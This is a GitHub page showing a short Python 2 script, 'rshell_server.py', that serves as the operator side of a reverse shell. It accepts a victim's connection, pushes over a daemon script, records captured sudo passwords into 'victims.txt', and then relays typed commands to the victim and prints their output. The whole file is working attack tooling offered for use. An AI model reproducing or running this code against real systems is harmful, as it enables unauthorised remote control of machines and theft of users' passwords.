-
Notifications
You must be signed in to change notification settings - Fork 0
/
rshell_server.py
44 lines (41 loc) · 990 Bytes
/
rshell_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#-*- coding:utf-8 -*-
import socket
from thread import *
host = "127.0.0.1" #target ip here!
port = 8080 #you can change port number too
buff = 2048
client_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
binding = host,port
client_socket.bind(binding)
client_socket.listen(10)
def sendcode(c,ac):
c.send(ac)
data = c.recv(2048)
if not data:
pass
else:
print data
c,addr = client_socket.accept()
def sudopass(x):
if "P4SSW0RD" in x:
file = open("victims.txt","a")
x = x + ";"
file.write(x)
file.close()
else:
pass
def makedaemon():
fileopen = open("daemon.sh","r").readlines()
c.send(str(fileopen))
firstlogin = c.recv(2048)
sudopass(firstlogin)
makedaemon()
while True:
ac = raw_input(">\n")
ac.decode("utf-8")
sendcode(c,ac)
# if __name__ == '__main__':
# t = Thread(target=req(),name="t1")
#
# e.start()